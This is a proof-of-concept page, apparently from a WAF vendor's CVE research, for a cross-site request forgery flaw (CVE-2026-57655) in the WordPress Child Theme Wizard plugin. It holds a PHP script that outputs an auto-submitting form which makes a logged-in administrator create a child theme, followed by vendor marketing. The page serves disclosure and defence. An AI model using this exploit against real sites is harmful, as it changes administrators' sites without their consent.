// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57655 - Child Theme Wizard <= 1.4 - Cross-Site Request Forgery

/**
 * This PoC demonstrates a CSRF attack against the Child Theme Wizard plugin.
 * It generates an HTML page with a self-submitting form that creates a child theme
 * on the target WordPress site when visited by an authenticated administrator.
 */

$target_url = 'http://example.com/wp-admin/tools.php?page=ChildThemeWizard';  // CHANGE THIS

$html = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>Proof of Concept - CVE-2026-57655</title>
</head>
<body>
    <h1>Atomic Edge CVE-2026-57655 CSRF PoC</h1>
    <p>This form will automatically submit to create a child theme on the target WordPress site.</p>
    <form id="csrf_form" action="{$target_url}" method="POST">
        <input type="hidden" name="hiddenfield" value="Y">
        <input type="hidden" name="parent" value="twentytwentyfour">
        <input type="hidden" name="title" value="CSRF Child Theme">
        <input type="hidden" name="description" value="Created via CSRF exploit">
        <input type="hidden" name="url" value="https://attacker.example.com">
        <input type="hidden" name="author" value="Attacker">
        <input type="hidden" name="author-url" value="https://attacker.example.com">
        <input type="hidden" name="version" value="1.0">
        <input type="hidden" name="include-gpl" value="on">
        <input type="submit" value="Click here to proceed (if auto-submit fails)">
    </form>
    <script>
        // Auto-submit the form to trigger the CSRF
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>
HTML;

echo $html;

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.